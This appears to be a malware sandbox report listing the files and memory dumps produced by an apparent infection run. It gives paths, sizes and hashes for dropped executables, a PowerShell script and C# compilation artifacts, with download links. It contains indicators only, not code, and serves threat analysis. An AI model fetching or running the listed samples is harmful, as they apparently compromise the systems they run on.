SHA256 33158ce0110e9a295f71c0ab4f5709d4a0c950774a3b29fe444b3a8ea8c36680
MD5 45c225bb7ecbf2353c8ce1bd77611890
SHA1 82a904630e1439fd89599cf3623399b456214c69
SHA512 a7748fa234e67ad7ae452b7128153801cde45fb67396a38abaea6a30c81251bc71b22c956605fcff0009f1c425ee5c1e8e9d37c8384c61b291d15e71b2727bbd
MD5 SHA1 SHA512

Submit Download

Xpjvcl.exe

Path C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe
Size 96KB
SHA256 92931a8f91d661cce0204783604ef536a4134376a9ed2e461720c7b93a129746
MD5 4104370a4f4d897292560d55666cdb10
SHA1 55a3a0e1d5e84549c284b357cdf26c348b12ae60
SHA512 688f0d602e9ad7eda500e52d16340e9bba3416896f929d655eb1079ff012f33708fb8ac9c6daa70334ac96fdfa09e37fa8d175a51d986dbafc636499f9881ea5
SSDEEP 768:+KtyaQfp65neGcCZE5FdkzpfM6ZHWaddlR2:xZNMGcCZEDdQn2
MD5 SHA1 SHA512 SSDEEP

Submit Download

Zncckudy.tmpdb

Path C:\Users\Admin\AppData\Local\Temp\Zncckudy.tmpdb
Size 152KB
SHA256 aab0b201f392fef9fdff09e56a9d0ac33d0f68be95da270e6dab89bb1f971d8b
MD5 73bd1e15afb04648c24593e8ba13e983
SHA1 4dd85ca46fcdf9d93f6b324f8bb0b5bb512a1b91
SHA512 6eb58fb41691894045569085bd64a83acd62277575ab002cf73d729bda4b6d43c36643a5fa336342e87a493326337ed43b8e5eaeae32f53210714699cb8dfac7
SSDEEP 96:+WiseU+bF+UIYysX0QQycu5yZoLtrV0N3LjLqLk0e9:+vQ+bF+UI3i7cayZudV0R3qLkj
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_hhhncltz.4yf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hhhncltz.4yf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

b1w4f4kw.dll

Path C:\Users\Admin\AppData\Local\Temp\b1w4f4kw\b1w4f4kw.dll
Size 3KB
SHA256 4f7640909c412a41477e535c81090151d4b2446924dc7481583f316b3083a0f0
MD5 56ba443fabfc61b5be7843116434d45e
SHA1 dde9bd285495c6b0c1222fe1493be16cc3d5541f
SHA512 3f98eaac4a6a1b0958332e6ee0e0709ff227a462f30faf69cf1a57f5054bbc408287469816a63bc4c5a40bf8063ef4224b367f6a7c401630c6a8de939d3450eb
MD5 SHA1 SHA512

Submit Download

hfumrmg.exe

Path C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe
Size 26KB
SHA256 0b91154f7907ff59359c2f923b2ea91970b8a2899259c4a7713056cee656453c
MD5 9352ddda312eeb93823ee2e6cc9a83bc
SHA1 cfd74b8b392d6931bed72ec3251abcaff5b4b908
SHA512 63f5b80f32f4f14089c8e15a3c8237e353f34aeae0fbbcb679c4a5ea3c8a1e0939b104e8e0cc47d084d6810b3bd0c7134b027c932a049a7facbbf9663682fa1e
SSDEEP 384:jsLtqBnBCZBICogb3/3wwT47s3y3IcPf+TaslUGjCa1V6fxLXjjp:zBn9m/AWWfKasGYCa18jjp
MD5 SHA1 SHA512 SSDEEP

Submit Download

d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 6KB
SHA256 c75bd199e7881bf4ebb62a7975a2ab652d2489563ea7c26159254acc81551e0b
MD5 085dc9d0c7129033d618b6d66a95fb9d
SHA1 687c92e07fa0cda9b716fb219dfa37d8f5a7fe4d
SHA512 c700eb58150e1788f65985dc0590f7f952c227f140accf653a097e1da450e687403aaa08572638cfbd90a3183a2e895fd32909b1a8a3a0704a0a687c9e8c4794
SSDEEP 96:oVUFnRCYuFFukvhkvCCts57AY9kHQHpGagY9kHQHpGW+:oVUN1mcEAEkH0gEkHw+
MD5 SHA1 SHA512 SSDEEP

Submit Download

d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 6KB
SHA256 204b0993cc6a52082893a64a0698b2ef06e661b8053488aa689dd1e63fee5943
MD5 e64ea2948f808247cf5173142d4b82af
SHA1 617e8c5a25fb60ef33d561a82f7d3f0bb7d59439
SHA512 8c9dedfc6791d517a49fe82683770c4e8a77b917342a96222184fada6b2215aaef7f39d2813b2a10969ec5015ab27774c3ee119373fc18b3c625132000dce613
SSDEEP 96:OVJenCCbWFFukvhkvCCts57AY9kHQHpGagY9kHQHpGW+:OVJyFOcEAEkH0gEkHw+
MD5 SHA1 SHA512 SSDEEP

Submit Download

D.ps1

Path C:\Users\Public\D.ps1
Size 978B
SHA256 7a246791c8d43bf0e0a325edc12f519b6c14c67d51e30292bea5679d7f452577
MD5 5e299f093daf20a2faa634bf359389f7
SHA1 7675ab67dde92d44d1080a61faa482d848e04007
SHA512 10025b586f6aeb1bc7bd1dec669ba0f669652fffe8d70282114538e5d02dffc1e6575021ec0e8bdb0f9e7666b0b801f86ce5e9b35ca97dae1a765f0ced881fff
MD5 SHA1 SHA512

Submit Download

Xwemz.exe

Path C:\Users\Public\Xwemz.exe
Size 837KB
SHA256 e96b455245e3e29c30bcbaf2836654435beca58d7e0e740fef3d5449caa6cfca
MD5 24a4e95f31c3c3531d50139def962795
SHA1 9b502f091868a801a9bc0eb388663f7483a68c23
SHA512 e1bd55995ded727fbaef3d89b8d20fed65987647635a3834ffd29006dd2d6da601421623c1380ae9a1db70386b7dbaeff19978d67fd2c6f99c91558ebe750c5c
SSDEEP 12288:wMfF33i4fNKB7ppBtXu9eeB711F/JeHsENMNEyhKgto4xpB1JTUfpYv2vJ:wMfFH0B7ppBtXreB711usENM5Kgjg3
MD5 SHA1 SHA512 SSDEEP

Submit Download

user.inf

Path C:\Users\Public\user.inf
Size 661B
SHA256 623a4f0d12503877a7ac09008876510fff9a15a42259fb8993bf5ed65ef8357f
MD5 4197ebefdb9a5ffb2eb4b8a66b05e286
SHA1 8fbd3815aa7d4cf6494931ababbee9e48f1677d3
SHA512 4774c17ea50fc44f1f4cf06f5a59bc3f85b640f0f2739461c6206299a3cd523daf4c6a5d87442dbbc5c91366a236d8759a08cbac25a8b12f1ffde285cc3ca43a
MD5 SHA1 SHA512

Submit Download

CSC93884A14A5A549A6A9B018379DBAE577.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\b1w4f4kw\CSC93884A14A5A549A6A9B018379DBAE577.TMP
Size 652B
SHA256 c22180b61d3cf16a4f4ce8dcd10dd6176ed6228047c6bd5584d27ddcabc77b49
MD5 553118c996cce9c8bc48dfc03f212f37
SHA1 c1f12a30a065de32c9c1ddfe47be91b775eb36fc
SHA512 4f34844b259a8a3cf21860ab9406874798b3f6ff95967fd3be30527615cc372f974272b52d4f3860b6a7cc10a105429db2a59075aa02174fb0da3aeadaeb32f0
MD5 SHA1 SHA512

Submit Download

b1w4f4kw.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\b1w4f4kw\b1w4f4kw.0.cs
Size 319B
SHA256 f52036306d49ca5bc0c58242a311526e4d045dcd070b0981db503da5e3a55212
MD5 f3c09788c53ec7b12e03c328440a57fc
SHA1 898711631c676136cc0576370c705d5bb38df060
SHA512 cdddd3ffe6563bcd0ff53973b3a3fe7aca3939b77dcb3fcc2e56d93c9f0727a0d5ffa550a21923ffa8a446da589d68a6c26674068bf75233421452a153b9e1ce
MD5 SHA1 SHA512

Submit Download

b1w4f4kw.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\b1w4f4kw\b1w4f4kw.cmdline
Size 369B
SHA256 f01deafdc8b6421eecd72a71663399958d7e607bb8eb6664523ce3c65a452c8c
MD5 00e1b763c7d4fb8e7632fd512ee938db
SHA1 45d96195ba5d3a32b8484d9b6a8642fd8a0ac6e9
SHA512 7fdf0ea9684434b5141ecf2e04ec37c31c2dba9d430c7b859238f96db8cce60d6520aaf85a944cec191b67288afceabfea7b3a43533c5d4b10716c695bb71a29
MD5 SHA1 SHA512

Submit Download

memory/380-2489-0x0000000006690000-0x00000000066DC000-memory.dmp

Download

memory/380-2483-0x0000000005FA0000-0x00000000062F4000-memory.dmp

Download

memory/1140-4757-0x0000000000400000-0x00000000004A8000-memory.dmp

Download

memory/1140-5611-0x0000000005290000-0x00000000052E6000-memory.dmp

Download

memory/1140-4758-0x0000000005160000-0x0000000005226000-memory.dmp

Download

memory/1144-83-0x0000000007820000-0x00000000078C3000-memory.dmp

Download

memory/1144-89-0x0000000007BE0000-0x0000000007BE8000-memory.dmp

Download

memory/1144-69-0x0000000006210000-0x0000000006564000-memory.dmp

Download

memory/1144-72-0x00000000706F0000-0x000000007073C000-memory.dmp

Download

memory/1144-71-0x00000000077E0000-0x0000000007812000-memory.dmp

Download

memory/1144-82-0x0000000006BE0000-0x0000000006BFE000-memory.dmp

Download

memory/1144-84-0x00000000079C0000-0x00000000079CA000-memory.dmp

Download

memory/1144-85-0x0000000007B50000-0x0000000007B61000-memory.dmp

Download

memory/1144-86-0x0000000007B90000-0x0000000007B9E000-memory.dmp

Download

memory/1144-87-0x0000000007BA0000-0x0000000007BB4000-memory.dmp

Download

memory/1144-88-0x0000000007BF0000-0x0000000007C0A000-memory.dmp

Download

memory/2068-4737-0x0000000000920000-0x000000000092C000-memory.dmp

Download

memory/2068-4738-0x00000000063A0000-0x0000000006466000-memory.dmp

Download

memory/2280-34-0x00000000072B0000-0x0000000007346000-memory.dmp

Download

memory/2280-35-0x0000000007250000-0x0000000007272000-memory.dmp

Download

memory/2280-11-0x0000000075350000-0x0000000075B00000-memory.dmp

Download

memory/2280-13-0x0000000075350000-0x0000000075B00000-memory.dmp

Download

memory/2280-12-0x0000000005270000-0x0000000005898000-memory.dmp

Download

memory/2280-14-0x0000000075350000-0x0000000075B00000-memory.dmp

Download

memory/2280-15-0x0000000005010000-0x0000000005032000-memory.dmp

Download

memory/2280-17-0x0000000005120000-0x0000000005186000-memory.dmp

Download

memory/2280-52-0x0000000075350000-0x0000000075B00000-memory.dmp

Download

memory/2280-48-0x0000000007370000-0x0000000007378000-memory.dmp

Download

memory/2280-32-0x00000000063E0000-0x00000000063FA000-memory.dmp

Download

memory/2280-31-0x0000000007710000-0x0000000007D8A000-memory.dmp

Download

memory/2280-29-0x0000000005F00000-0x0000000005F4C000-memory.dmp

Download

memory/2280-28-0x0000000005EC0000-0x0000000005EDE000-memory.dmp

Download

memory/2280-18-0x00000000058A0000-0x0000000005BF4000-memory.dmp

Download

memory/2280-10-0x0000000004A60000-0x0000000004A96000-memory.dmp

Download

memory/2280-16-0x00000000050B0000-0x0000000005116000-memory.dmp

Download

memory/2324-4739-0x0000000005E70000-0x00000000061C4000-memory.dmp

Download

memory/2324-4750-0x0000000006540000-0x000000000658C000-memory.dmp

Download

memory/3104-104-0x0000000005D10000-0x0000000005D5C000-memory.dmp

Download

memory/3104-102-0x0000000005740000-0x0000000005A94000-memory.dmp

Download

memory/3160-1-0x0000000000CE0000-0x0000000000CF2000-memory.dmp

Download

memory/3160-92-0x0000000075350000-0x0000000075B00000-memory.dmp

Download

memory/3160-0-0x000000007535E000-0x000000007535F000-memory.dmp

Download

memory/3160-5-0x00000000056E0000-0x00000000056EA000-memory.dmp

Download

memory/3160-4-0x0000000075350000-0x0000000075B00000-memory.dmp

Download

memory/3160-3-0x0000000005780000-0x0000000005812000-memory.dmp

Download

memory/3160-2-0x0000000005D30000-0x00000000062D4000-memory.dmp

Download

memory/3500-168-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-146-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-136-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-134-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-132-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-130-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-128-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-126-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-122-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-120-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-118-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-116-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-114-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-112-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-170-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-158-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-124-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-111-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-2411-0x000000001AFE0000-0x000000001B07E000-memory.dmp

Download

memory/3500-2412-0x000000001B080000-0x000000001B0CC000-memory.dmp

Download

memory/3500-2413-0x000000001AE90000-0x000000001AEBC000-memory.dmp

Download

memory/3500-2414-0x000000001CE80000-0x000000001CEFA000-memory.dmp

Download

memory/3500-144-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-138-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-148-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-108-0x0000000000290000-0x0000000000368000-memory.dmp

Download

memory/3500-110-0x000000001AED0000-0x000000001AFE6000-memory.dmp

Download

memory/3500-142-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-140-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-156-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-151-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-152-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-154-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-174-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-173-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-160-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-166-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-164-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/3500-162-0x000000001AED0000-0x000000001AFE0000-memory.dmp

Download

memory/4348-2477-0x0000000006C40000-0x0000000006CDC000-memory.dmp

Download

memory/4348-2476-0x0000000006850000-0x000000000690A000-memory.dmp

Download

memory/4348-2475-0x00000000050B0000-0x00000000050CE000-memory.dmp

Download

memory/4348-2474-0x0000000005140000-0x00000000051B6000-memory.dmp

Download

memory/4348-2473-0x00000000006C0000-0x00000000006DE000-memory.dmp

Download

memory/4964-4732-0x0000000005C40000-0x0000000005C94000-memory.dmp

Download

memory/4964-4731-0x0000000005510000-0x0000000005566000-memory.dmp

Download

memory/4964-2496-0x0000000005280000-0x0000000005368000-memory.dmp

Download

memory/4964-2495-0x0000000000400000-0x000000000049C000-memory.dmp

Download